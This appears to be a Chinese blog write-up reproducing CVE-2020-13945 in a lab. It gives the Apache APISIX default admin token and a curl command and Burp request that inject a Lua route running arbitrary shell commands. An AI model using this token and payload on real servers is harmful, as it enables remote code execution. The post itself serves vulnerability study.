当前位置: 首页 > news >正文

CVE-2020-13945 Apache APISIX 默认密钥漏洞 (复现)

环境启动后,访问 http://your-ip:9080 应能看到默认的 404 页面,确认环境运行正常
image

该漏洞利用默认 Token 添加恶意路由
通过默认管理员 Token(edd1c9f034335f136f87ad84b625c8f1)向管理员接口发送 POST 请求,添加包含恶意 Lua 脚本的路由
方法1:

点击查看代码
curl -X POST "http://192.168.75.132:9080/apisix/admin/routes" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" -H "Content-Type: application/json" -d '{"uri":"/attack","script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require(\"os\")\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, \"r\"))\n local s = assert(f:read(\"*a\"))\n ngx.say(s)\n f:close() \n end \nreturn _M","upstream":{"type":"roundrobin","nodes":{"example.com:80":1}}}'

执行恶意脚本通过script参数注入,其中io.popen(args.cmd, 'r')用于执行cmd参数传入的系统命令,并通过ngx.say(s)返回执行结果
image

执行任意命令验证漏洞
curl "http://192.168.75.132:9080/attack?cmd=id"
image

方法2:
请出bp(burpsuite)发送POST请求
进入proxy模块开启拦截
image

浏览器中任意访问URL,bp会拦截请求
在 Burp 的「Intercept」面板中,将请求方法从 GET 改为 POST,并修改请求路径为目标接口;
POST /apisix/admin/routes HTTP/1.1
在请求行下方添加必要的请求头,包括漏洞利用所需的 X-API-KEY 和 Content-Type;

点击查看代码
Host: 192.168.75.132:9080
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: */*
在请求头下方空一行(必须留空,分隔请求头和请求体),填入漏洞利用的 JSON payload;
点击查看代码
{"uri": "/attack","script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}
如图,

image

点击forword发送请求后切换到「HTTP history」标签页
找到刚发送的请求,查看响应内容。若返回包含 {"action":"create"} 的 JSON,说明 POST 请求成功
image

该漏洞复现成功!!!

http://www.sczhlp.com/news/792.html

相关文章:

  • 1 引言(1.6)
  • 可并堆(左偏树)
  • 7-28
  • DAY24
  • 2025 ZR暑假集训 CD联考 Day2 E 环球旅行
  • zk后集训
  • 乘法逆元(部分施工)、exgcd
  • 夏令营Ⅲ期
  • centos8.2 挂载本地镜像作为yum源
  • 非常值得学习渲染入门的一个教程
  • HDU 多校 2025 R3
  • 7.28SAM后缀自动机,回文自动机
  • Linux开机自动登录的一种方法
  • day5
  • JAVA语言学习总结(第27天)
  • CVE-2021-45232 Apache APISIX Dashboard身份验证绕过漏洞 (复现)
  • IIS中配置HTTPS证书的详细步骤
  • Python入门学习(七)高级部分:正则表达式
  • 在运维工作中,如果运行的一个容器突然挂了,如何排查?
  • SciTech-EECS-Library: img2pdf 与 pdf2image : Python 的 pdf 与 image 双向转换库
  • 在运维工作中,docker封闭了哪些资源?
  • 深度学习(pytorch量化)
  • 在运维工作中,传统虚拟化与docker有什么区别?
  • 在运维工作中,Docker怎么清理容器磁盘空间?
  • 在运维工作中,Dockerfile中常见指令有哪些?
  • 英语_阅读_Rivers are important in culture_单词_待读
  • 题解:P12151 【MX-X11-T5】「蓬莱人形 Round 1」俄罗斯方块
  • 题解:P1291 [SHOI2002] 百事世界杯之旅
  • 题解:P4170 [CQOI2007] 涂色
  • 课堂分组赛、组队赛小结